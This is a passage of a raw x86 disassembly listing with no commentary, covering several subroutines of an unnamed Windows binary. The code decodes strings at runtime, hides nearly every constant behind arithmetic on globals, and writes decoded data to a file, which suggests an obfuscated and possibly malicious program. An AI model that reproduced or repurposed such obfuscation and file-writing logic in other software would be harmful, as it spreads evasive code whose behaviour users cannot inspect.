		mov	edx, dword_5511D8
		add	edx, dword_5511D4
		sub	edx, 0Ch
		cmp	ds:dword_44A0E0[ebx], edx
		jz	loc_43F050
		movzx	edx, ds:word_48BA10[esi*2]
		mov	ecx, dword_551110
		add	ecx, 0FFF6h
		movsx	eax, word_551218
		add	ecx, eax
		cmp	edx, ecx
		jz	short loc_43F050
		mov	edx, ds:dword_449020[edi*4]
		cmp	ds:dword_449020[ebx], edx
		jnz	short loc_43F050
		mov	bl, ds:byte_44B1B0[esi]
		cmp	bl, ds:byte_44B1B0[edi]
		jnz	short loc_43F050
		movzx	esi, ds:word_48BA10[esi*2]
		mov	ebx, dword_551184
		sub	ebx, 3
		cmp	esi, ebx
		jnz	short loc_43F041
		mov	esi, [ebp+var_4]
		movzx	ebx, ds:byte_44B1B0[esi]
		push	ebx
		push	ds:dword_449020[esi*4]
		call	sub_440F1C
		add	esp, 8
		mov	esi, dword_551234
		sub	esi, 8
		mov	ds:dword_44A0E0[edi*4],	esi
		jmp	short loc_43F066
; ---------------------------------------------------------------------------


loc_43F041:				; CODE XREF: sub_43EE88+18Aj
		mov	esi, [ebp+var_4]
		lea	esi, ds:48BA10h[esi*2]
		dec	word ptr [esi]
		jmp	short loc_43F066
; ---------------------------------------------------------------------------


loc_43F050:				; CODE XREF: sub_43EE88+130j
					; sub_43EE88+155j ...
		inc	[ebp+var_4]


loc_43F053:				; CODE XREF: sub_43EE88+10Dj
		mov	eax, dword_551170
		add	eax, 3E4h
		cmp	[ebp+var_4], eax
		jb	loc_43EF9A


loc_43F066:				; CODE XREF: sub_43EE88+1B7j
					; sub_43EE88+1C6j
		xor	eax, eax
		jmp	short loc_43F089
; ---------------------------------------------------------------------------


loc_43F06A:				; CODE XREF: sub_43EE88+F3j
		movzx	esi, ds:word_48BA10[edi*2]
		mov	ebx, dword_551248
		sub	ebx, 3
		cmp	esi, ebx
		jle	short loc_43F087
		dec	ds:word_48BA10[edi*2]


loc_43F087:				; CODE XREF: sub_43EE88+1F5j
		xor	eax, eax


loc_43F089:				; CODE XREF: sub_43EE88+81j
					; sub_43EE88+D2j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	24h
sub_43EE88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F090	proc near		; CODE XREF: sub_43E284+26p
					; sub_443843+230p ...

var_120A	= byte ptr -120Ah
var_110B	= byte ptr -110Bh
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 120Ch
		call	sub_4475B4
		push	ebx
		push	esi
		push	edi
		push	offset byte_551EF3
		call	sub_43CAF7
		push	eax
		lea	edi, [ebp+var_FFF]
		push	edi
		call	ds:dword_50E928
		add	esp, 0Ch
		mov	eax, dword_551154
		mov	esi, eax
		add	esi, dword_5511E0
		sub	esi, 0Ch
		jmp	short loc_43F0ED
; ---------------------------------------------------------------------------


loc_43F0CD:				; CODE XREF: sub_43F090+63j
		cmp	[ebp+esi+var_FFF], 23h
		jnz	short loc_43F0EC
		mov	eax, dword_551188
		add	eax, dword_55112C
		sub	eax, 0Dh
		mov	[ebp+esi+var_FFF], al


loc_43F0EC:				; CODE XREF: sub_43F090+45j
		inc	esi


loc_43F0ED:				; CODE XREF: sub_43F090+3Bj
		cmp	esi, 0FFFh
		jb	short loc_43F0CD
		movsx	eax, word_551244
		mov	ebx, eax
		add	ebx, dword_55112C
		sub	ebx, 0Fh
		mov	eax, dword_5511F8
		movsx	edx, word_5511A4
		add	eax, edx
		sub	eax, 9
		mov	[ebp+var_1004],	eax
		mov	eax, dword_551200
		sub	eax, 5
		cmp	[ebp+arg_0], eax
		jnz	short loc_43F18A


loc_43F12B:				; CODE XREF: sub_43F090+F8j
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_1004],	eax
		jnz	short loc_43F14D
		lea	eax, [ebp+ebx+var_FFF]
		push	eax
		push	offset dword_54E970
		call	sub_4475D4
		jmp	loc_43F3E5
; ---------------------------------------------------------------------------


loc_43F14D:				; CODE XREF: sub_43F090+A4j
		lea	ecx, [ebp+ebx+var_FFF]
		or	eax, 0FFFFFFFFh


loc_43F157:				; CODE XREF: sub_43F090+CCj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43F157
		add	ebx, eax
		add	ebx, 1
		inc	[ebp+var_1004]
		movsx	eax, [ebp+ebx+var_FFF]
		mov	edx, dword_55120C
		add	edx, dword_5511D8
		sub	edx, 8
		cmp	eax, edx
		jz	loc_43F3E5
		jmp	short loc_43F12B
; ---------------------------------------------------------------------------


loc_43F18A:				; CODE XREF: sub_43F090+99j
		movsx	eax, word_551244
		mov	ebx, eax
		add	ebx, dword_55115C
		sub	ebx, 0Bh
		mov	eax, dword_5512A0
		mov	[ebp+var_1008],	eax
		movsx	eax, word_551194
		dec	eax
		mov	edx, [ebp+arg_0]
		movsx	ecx, word_551094
		sub	ecx, 2
		mov	[edx+eax], cl
		mov	eax, dword_5511B8
		movsx	edx, word_551128
		add	eax, edx
		sub	eax, 9
		mov	[ebp+var_1004],	eax


loc_43F1D6:				; CODE XREF: sub_43F090+32Dj
		call	ds:dword_550040
		mov	ecx, 14h
		cdq
		idiv	ecx
		mov	[ebp+var_100C],	edx
		push	offset dword_551EE8
		call	sub_43CAF7
		push	eax
		lea	edi, [ebp+var_110B]
		push	edi
		call	sub_4475D4
		lea	eax, [ebp+ebx+var_FFF]
		push	eax
		lea	eax, [ebp+var_110B]
		push	eax
		call	ds:dword_44802C
		add	esp, 0Ch
		mov	eax, dword_55123C
		add	eax, 2
		cmp	[ebp+var_100C],	eax
		jnb	loc_43F30B
		push	[ebp+var_1008]
		lea	eax, [ebp+var_120A]
		push	eax
		call	sub_445E8D
		movsx	eax, word_551144
		sub	eax, 3
		push	eax
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	sub_43FE22
		add	esp, 14h
		mov	edi, dword_5511D0
		add	edi, 0FFF4h
		add	edi, dword_55121C
		cmp	eax, edi
		jnz	short loc_43F299
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44802C
		push	offset byte_551EE3
		call	sub_43CAF7
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44802C
		add	esp, 14h


loc_43F299:				; CODE XREF: sub_43F090+1E0j
		mov	eax, dword_55117C
		sub	eax, 6
		push	eax
		lea	eax, [ebp+var_120A]
		push	eax
		push	[ebp+arg_0]
		call	sub_43FE22
		add	esp, 0Ch
		mov	edi, dword_55118C
		add	edi, 0FFFEh
		add	edi, dword_55123C
		cmp	eax, edi
		jnz	short loc_43F305
		push	offset dword_551ED8
		call	sub_43CAF7
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44802C
		lea	eax, [ebp+var_120A]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44802C
		push	offset byte_551ED3
		call	sub_43CAF7
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44802C
		add	esp, 20h


loc_43F305:				; CODE XREF: sub_43F090+238j
		inc	[ebp+var_1008]


loc_43F30B:				; CODE XREF: sub_43F090+197j
		push	[ebp+var_1004]
		call	sub_43F7FF
		pop	ecx
		mov	[ebp+var_100C],	eax
		movsx	ecx, word_551128
		add	ecx, dword_551184
		sub	ecx, 7
		cmp	eax, ecx
		jnb	short loc_43F385
		movsx	eax, word_5510D0
		sub	eax, 5
		push	eax
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	sub_43FE22
		add	esp, 0Ch
		mov	edi, dword_5510DC
		add	edi, 0FFFBh
		cmp	eax, edi
		jnz	short loc_43F385
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44802C
		push	offset word_551ECE
		call	sub_43CAF7
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44802C
		add	esp, 14h


loc_43F385:				; CODE XREF: sub_43F090+29Fj
					; sub_43F090+2CCj
		lea	ecx, [ebp+ebx+var_FFF]
		or	eax, 0FFFFFFFFh


loc_43F38F:				; CODE XREF: sub_43F090+304j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43F38F
		add	ebx, eax
		inc	[ebp+var_1004]
		add	ebx, 1
		movsx	eax, [ebp+ebx+var_FFF]
		mov	edx, dword_55111C
		movsx	ecx, word_551240
		add	edx, ecx
		sub	edx, 0Ah
		cmp	eax, edx
		jnz	loc_43F1D6
		push	offset byte_551EC9
		call	sub_43CAF7
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44802C
		add	esp, 0Ch
		mov	eax, [ebp+var_1008]
		mov	dword_5512A0, eax


loc_43F3E5:				; CODE XREF: sub_43F090+B8j
					; sub_43F090+F2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F090	endp


; =============== S U B	R O U T	I N E =======================================



sub_43F3EA	proc near		; CODE XREF: sub_43D370+2Bp
					; sub_43DA46+2Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	esi, [esp+0Ch+arg_0]
		mov	edi, [esp+0Ch+arg_4]
		mov	ecx, edi
		mov	ebx, esi
		shl	ebx, cl
		mov	edx, dword_551174
		add	edx, 11h
		add	edx, dword_551108
		mov	ecx, edx
		sub	ecx, edi
		mov	eax, esi
		shr	eax, cl
		or	ebx, eax
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_43F3EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F41A	proc near		; DATA XREF: sub_4424CE+1Do
					; sub_443843+48o ...

var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 124h
		push	ebx
		push	esi
		push	edi
		push	61A80h
		push	40h
		call	ds:dword_48B9EC
		mov	ebx, eax
		push	493E0h
		push	40h
		call	ds:dword_48B9EC
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_4475D4
		mov	eax, [ebp+var_4]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_43F45C:				; CODE XREF: sub_43F41A+47j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43F45C
		mov	[ebp+var_8], eax
		mov	edi, dword_5511D0
		sub	edi, 7
		jmp	short loc_43F4AC
; ---------------------------------------------------------------------------


loc_43F471:				; CODE XREF: sub_43F41A+95j
		mov	eax, edi
		add	eax, [ebp+var_4]
		mov	[ebp+var_118], eax
		movzx	edx, byte ptr [eax]
		mov	[ebp+var_120], edx
		mov	eax, edi
		mov	[ebp+var_11C], eax
		mul	edi
		mov	[ebp+var_124], eax
		mov	eax, [ebp+var_120]
		mov	edx, [ebp+var_124]
		add	eax, edx
		mov	edx, [ebp+var_118]
		mov	[edx], al
		inc	edi


loc_43F4AC:				; CODE XREF: sub_43F41A+55j
		cmp	edi, [ebp+var_8]
		jb	short loc_43F471
		movsx	eax, word_55113C
		movsx	edx, word_551148
		lea	eax, [eax+edx+61A76h]
		push	eax
		push	ebx
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_442E73
		add	esp, 10h
		mov	esi, dword_551090
		sub	esi, 4
		jmp	short loc_43F4F6
; ---------------------------------------------------------------------------


loc_43F4E1:				; CODE XREF: sub_43F41A+EAj
		cmp	byte ptr [ebx+esi], 3Dh
		jnz	short loc_43F4EB
		mov	byte ptr [ebx+esi], 29h


loc_43F4EB:				; CODE XREF: sub_43F41A+CBj
		cmp	byte ptr [ebx+esi], 2Bh
		jnz	short loc_43F4F5
		mov	byte ptr [ebx+esi], 28h


loc_43F4F5:				; CODE XREF: sub_43F41A+D5j
		inc	esi


loc_43F4F6:				; CODE XREF: sub_43F41A+C5j
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_43F4FB:				; CODE XREF: sub_43F41A+E6j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43F4FB
		cmp	esi, eax
		jb	short loc_43F4E1
		movsx	eax, word_551198
		add	eax, dword_551090
		sub	eax, 5
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 4Bh
		jnz	short loc_43F530
		push	offset dword_44B0A0
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_4475D4


loc_43F530:				; CODE XREF: sub_43F41A+103j
		movsx	eax, word_5511F0
		sub	eax, 6
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 44h
		jnz	short loc_43F554
		push	offset dword_4CC440
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_4475D4


loc_43F554:				; CODE XREF: sub_43F41A+127j
		movsx	eax, word_551240
		sub	eax, 8
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 50h
		jnz	short loc_43F599
		push	offset dword_4CD830
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_4475D4
		mov	eax, dword_551228
		sub	eax, 7
		push	eax
		push	ebx
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_441BFD
		add	esp, 0Ch
		or	eax, eax
		jnz	loc_43F71B


loc_43F599:				; CODE XREF: sub_43F41A+14Bj
		mov	eax, dword_551090
		add	eax, dword_5510D4
		sub	eax, 9
		push	eax
		mov	eax, dword_5510BC
		movsx	edx, word_551118
		add	eax, edx
		sub	eax, 8
		push	eax
		push	4
		mov	eax, dword_55122C
		sub	eax, 7
		push	eax
		movsx	eax, word_5511F0
		sub	eax, 6
		push	eax
		push	40000000h
		lea	eax, [ebp+var_114]
		push	eax
		call	ds:dword_54FB18
		mov	[ebp+var_C], eax
		push	2
		mov	eax, dword_551090
		sub	eax, 4
		push	eax
		movsx	eax, word_551138
		movsx	edx, word_5510D0
		add	eax, edx
		sub	eax, 9
		push	eax
		push	[ebp+var_C]
		call	ds:dword_54FF30
		push	offset byte_551EC1
		call	sub_43CAF7
		pop	ecx
		movsx	edx, word_551218
		push	edx
		lea	edx, [ebp+var_10]
		push	edx
		mov	edx, dword_55124C
		movsx	ecx, word_55113C
		add	edx, ecx
		sub	edx, 0Eh
		push	edx
		push	eax
		push	[ebp+var_C]
		call	ds:dword_54FF1C
		mov	eax, dword_55114C
		movsx	edx, word_5511A8
		add	eax, edx
		sub	eax, 2
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 4Bh
		jnz	short loc_43F68D
		push	offset dword_551EBC
		call	sub_43CAF7
		pop	ecx
		movsx	edx, word_551148
		dec	edx
		push	edx
		lea	edx, [ebp+var_10]
		push	edx
		mov	edx, dword_551248
		add	edx, dword_551224
		sub	edx, 4
		push	edx
		push	eax
		push	[ebp+var_C]
		call	ds:dword_54FF1C


loc_43F68D:				; CODE XREF: sub_43F41A+23Fj
		mov	eax, dword_551110
		sub	eax, 9
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 50h
		jnz	short loc_43F6DA
		push	offset byte_551EB7
		call	sub_43CAF7
		pop	ecx
		mov	edx, dword_5511C0
		movsx	ecx, word_5510FC
		add	edx, ecx
		sub	edx, 3
		push	edx
		lea	edx, [ebp+var_10]
		push	edx
		mov	edx, dword_5510E8
		movsx	ecx, word_551104
		add	edx, ecx
		push	edx
		push	eax
		push	[ebp+var_C]
		call	ds:dword_54FF1C


loc_43F6DA:				; CODE XREF: sub_43F41A+282j
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_43F6DF:				; CODE XREF: sub_43F41A+2CAj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43F6DF
		mov	ecx, dword_551154
		add	ecx, dword_551204
		sub	ecx, 0Ah
		push	ecx
		lea	ecx, [ebp+var_10]
		push	ecx
		mov	ecx, dword_5511F8
		sub	ecx, 2
		mov	edx, eax
		add	edx, ecx
		push	edx
		push	ebx
		push	[ebp+var_C]
		call	ds:dword_54FF1C
		push	[ebp+var_C]
		call	ds:dword_4CD948


loc_43F71B:				; CODE XREF: sub_43F41A+179j
		push	[ebp+var_4]
		call	ds:dword_44B5CC
		push	ebx
		call	ds:dword_44B5CC
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F41A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F730	proc near		; CODE XREF: sub_43E7A3+Bp
					; sub_43E7A3+20p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	[ebp+arg_0]
		push	dword_551254
		call	ds:dword_44B1AC
		mov	edi, eax
		pop	edi
		pop	ebp
		retn
sub_43F730	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F748	proc near		; CODE XREF: sub_43E652+10Ap
					; sub_443B74+182p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		movsx	eax, word_5510B4
		movsx	edx, word_5511A8
		mov	esi, eax
		add	esi, edx
		sub	esi, 5
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_552A08
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ebx, [eax]
		call	dword ptr ds:0[ebx]
		mov	edi, eax
		mov	eax, dword_551114
		add	eax, dword_5511D8
		sub	eax, 5
		cmp	edi, eax
		jz	short loc_43F793
		xor	eax, eax
		jmp	short loc_43F7FA
; ---------------------------------------------------------------------------


loc_43F793:				; CODE XREF: sub_43F748+45j
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+10h]
		mov	edi, eax
		mov	eax, dword_551090
		add	eax, dword_551108
		sub	eax, 0Ch
		cmp	edi, eax
		jnz	short loc_43F7EF
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		mov	eax, [ebp+var_8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+14h]
		mov	edi, eax
		mov	eax, dword_551224
		movsx	edx, word_551094
		add	eax, edx
		sub	eax, 3
		cmp	edi, eax
		jnz	short loc_43F7E6
		mov	esi, dword_5510F0
		sub	esi, 2


loc_43F7E6:				; CODE XREF: sub_43F748+93j
		mov	eax, [ebp+var_8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_43F7EF:				; CODE XREF: sub_43F748+6Dj
		mov	eax, [ebp+var_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		mov	eax, esi


loc_43F7FA:				; CODE XREF: sub_43F748+49j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F748	endp


; =============== S U B	R O U T	I N E =======================================



sub_43F7FF	proc near		; CODE XREF: sub_43F090+281p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	ecx, esi
		movsx	eax, word_5510A8
		add	eax, dword_5510A4
		cmp	ecx, eax
		jge	short loc_43F84C
		movsx	eax, word_5510A8
		add	eax, dword_551154
		sub	eax, 3
		imul	ecx, eax
		mov	eax, dword_5510D8
		sub	eax, 5
		mov	edx, esi
		add	edx, eax
		mov	eax, dword_5510A0
		add	eax, dword_55111C
		dec	eax
		imul	edx, eax
		sub	ecx, edx
		jmp	loc_43F98A
; ---------------------------------------------------------------------------


loc_43F84C:				; CODE XREF: sub_43F7FF+16j
		dec	ecx
		movsx	eax, word_551210
		add	eax, 0Fh
		cmp	ecx, eax
		jge	short loc_43F87C
		mov	eax, dword_551234
		sub	eax, 6
		imul	ecx, eax
		mov	eax, ecx
		sub	eax, esi
		mov	edx, dword_5511AC
		add	edx, 0Bh
		mov	ecx, eax
		sub	ecx, edx
		jmp	loc_43F98A
; ---------------------------------------------------------------------------


loc_43F87C:				; CODE XREF: sub_43F7FF+5Aj
		dec	ecx
		movsx	eax, word_5511F0
		mov	edx, dword_5511C8
		lea	eax, [eax+edx+14h]
		cmp	ecx, eax
		jge	short loc_43F8BA
		movsx	eax, word_551194
		add	eax, dword_5511F4
		sub	eax, 7
		imul	ecx, eax
		mov	eax, dword_551238
		add	eax, 3Ah
		add	eax, dword_5511A0
		sub	ecx, eax
		jmp	loc_43F98A
; ---------------------------------------------------------------------------


loc_43F8BA:				; CODE XREF: sub_43F7FF+91j
		dec	ecx
		mov	eax, dword_55110C
		add	eax, 22h
		cmp	ecx, eax
		jge	short loc_43F8E9
		movsx	eax, word_551208
		add	eax, dword_551150
		sub	eax, 3
		imul	ecx, eax
		mov	eax, dword_551188
		add	eax, 41h
		sub	ecx, eax
		jmp	loc_43F98A
; ---------------------------------------------------------------------------


loc_43F8E9:				; CODE XREF: sub_43F7FF+C6j
		dec	ecx
		mov	eax, dword_551180
		add	eax, 2Bh
		movsx	edx, word_551194
		add	eax, edx
		cmp	ecx, eax
		jge	short loc_43F918
		movsx	eax, word_5511CC
		sub	eax, 7
		imul	ecx, eax
		mov	eax, dword_551158
		add	eax, 51h
		sub	ecx, eax
		jmp	short loc_43F98A
; ---------------------------------------------------------------------------


loc_43F918:				; CODE XREF: sub_43F7FF+FEj
		dec	ecx
		movsx	eax, word_5510F4
		mov	edx, dword_551178
		lea	eax, [eax+edx+2Bh]
		cmp	ecx, eax
		jge	short loc_43F950
		movsx	eax, word_551148
		movsx	edx, word_551138
		add	eax, edx
		sub	eax, 2
		imul	ecx, eax
		mov	eax, dword_551168
		add	eax, 68h
		sub	ecx, eax
		jmp	short loc_43F98A
; ---------------------------------------------------------------------------


loc_43F950:				; CODE XREF: sub_43F7FF+12Dj
		dec	ecx
		mov	eax, dword_551170
		add	eax, 35h
		cmp	ecx, eax
		jge	short loc_43F980
		mov	eax, dword_551130
		add	eax, dword_551160
		sub	eax, 6
		imul	ecx, eax
		mov	eax, dword_5511D0
		add	eax, 68h
		add	eax, dword_551130
		sub	ecx, eax
		jmp	short loc_43F98A
; ---------------------------------------------------------------------------


loc_43F980:				; CODE XREF: sub_43F7FF+15Cj
		mov	eax, dword_5511EC
		add	eax, 36h
		sub	ecx, eax


loc_43F98A:				; CODE XREF: sub_43F7FF+48j
					; sub_43F7FF+78j ...
		mov	eax, ecx
		pop	esi
		retn
sub_43F7FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F98E	proc near		; CODE XREF: sub_442E73+54p
					; sub_442E73+CEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		movzx	ebx, byte ptr [eax]
		movsx	eax, word_5510D0
		mov	edx, dword_551114
		lea	eax, [eax+edx+0F9h]
		imul	ebx, eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+1]
		add	ebx, eax
		movsx	eax, word_551208
		movsx	edx, word_5510D0
		lea	eax, [eax+edx+0F9h]
		imul	ebx, eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+2]
		add	ebx, eax
		mov	esi, dword_551150
		sub	esi, 4
		jmp	short loc_43FA32
; ---------------------------------------------------------------------------


loc_43F9E7:				; CODE XREF: sub_43F98E+B3j
		mov	edi, dword_551100
		sub	edi, 6
		sub	edi, esi
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], edx
		mov	edx, ebx
		and	edx, 8000003Fh
		jge	short loc_43FA07
		dec	edx
		or	edx, 0FFFFFFC0h
		inc	edx


loc_43FA07:				; CODE XREF: sub_43F98E+72j
		mov	dl, ds:byte_54FF40[edx]
		mov	ecx, [ebp+var_4]
		mov	[ecx+edi], dl
		mov	eax, ebx
		mov	edi, dword_55115C
		add	edi, 37h
		movsx	edx, word_5510F8
		mov	ecx, edi
		add	ecx, edx
		cdq
		idiv	ecx
		mov	ebx, eax
		add	esi, 1


loc_43FA32:				; CODE XREF: sub_43F98E+57j
		movsx	eax, word_5510FC
		add	eax, dword_551124
		cmp	esi, eax
		jl	short loc_43F9E7
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F98E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43FA48	proc near		; CODE XREF: sub_43B5D8+93p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	edi
		mov	edi, [ebp+arg_0]
		call	sub_44322A
		or	eax, eax
		jz	short loc_43FA7E
		push	dword_551288
		push	1
		push	edi
		call	ds:dword_54E968
		mov	[ebp+var_4], eax
		push	dword_551288
		push	4
		push	edi
		call	ds:dword_54E968
		mov	[ebp+var_8], eax


loc_43FA7E:				; CODE XREF: sub_43FA48+10j
		pop	edi
		leave
		retn
sub_43FA48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43FA81	proc near		; DATA XREF: .data:off_5512A8o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		push	offset dword_552A98
		push	esi
		call	ds:dword_50E93C
		or	eax, eax
		jz	short loc_43FAAD
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43FAFC
; ---------------------------------------------------------------------------


loc_43FAAD:				; CODE XREF: sub_43FA81+1Aj
		push	offset dword_552A18
		push	esi
		call	ds:dword_50E93C
		or	eax, eax
		jz	short loc_43FACD
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43FAFC
; ---------------------------------------------------------------------------


loc_43FACD:				; CODE XREF: sub_43FA81+3Aj
		push	offset dword_5529F8
		push	esi
		call	ds:dword_50E93C
		or	eax, eax
		jz	short loc_43FAED
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43FAFC
; ---------------------------------------------------------------------------


loc_43FAED:				; CODE XREF: sub_43FA81+5Aj
		mov	eax, dword_5510AC
		sub	eax, 7
		mov	[edi], eax
		mov	eax, 80004002h


loc_43FAFC:				; CODE XREF: sub_43FA81+2Aj
					; sub_43FA81+4Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_43FA81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43FB03	proc near		; CODE XREF: sub_43E114+142p
					; sub_43FB03+29Dp ...

var_268		= byte ptr -268h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= word ptr -258h
var_256		= word ptr -256h
var_252		= word ptr -252h
var_250		= word ptr -250h
var_24E		= word ptr -24Eh
var_248		= dword	ptr -248h
var_242		= byte ptr -242h
var_13E		= byte ptr -13Eh
var_112		= byte ptr -112h
arg_0		= dword	ptr  8
arg_8		= byte ptr  10h
arg_18		= byte ptr  20h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 268h
		push	ebx
		push	esi
		push	edi
		push	0
		call	ds:dword_50E924
		xor	ebx, ebx
		inc	ebx
		push	offset byte_551EAF
		call	sub_43CAF7
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_50E928
		add	esp, 14h
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_242]
		push	eax
		call	ds:dword_4CC228
		mov	[ebp+var_248], eax
		mov	ecx, dword_5511B4
		add	ecx, dword_551158
		sub	ecx, 6
		neg	ecx
		cmp	eax, ecx
		jnz	loc_43FD54
		mov	eax, dword_551114
		add	eax, 3FDh
		add	eax, dword_551168
		cmp	[ebp+arg_24], eax
		jnb	short loc_43FB9C
		mov	eax, dword_5511BC
		add	eax, 97h
		movsx	edx, word_5511E8
		add	eax, edx
		cmp	[ebp+arg_24], eax
		jnz	loc_43FE1D


loc_43FB9C:				; CODE XREF: sub_43FB03+7Bj
		movsx	eax, word_5510FC
		sub	eax, 2
		cmp	[ebp+arg_20], eax
		ja	loc_43FE1D
		movsx	eax, word_551118
		add	eax, 30D38h
		cmp	[ebp+arg_24], eax
		ja	loc_43FE1D
		lea	eax, [ebp+arg_18]
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		call	ds:dword_54FB10
		mov	[ebp+var_260], eax
		mov	eax, dword_5511F8
		add	eax, dword_551170
		sub	eax, 7
		cmp	[ebp+var_260], eax
		jge	short loc_43FBFB
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_18]
		movsd
		movsd
		jmp	short loc_43FC06
; ---------------------------------------------------------------------------


loc_43FBFB:				; CODE XREF: sub_43FB03+E9j
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_8]
		movsd
		movsd


loc_43FC06:				; CODE XREF: sub_43FB03+F6j
		lea	eax, [ebp+var_258]
		push	eax
		lea	eax, [ebp+var_268]
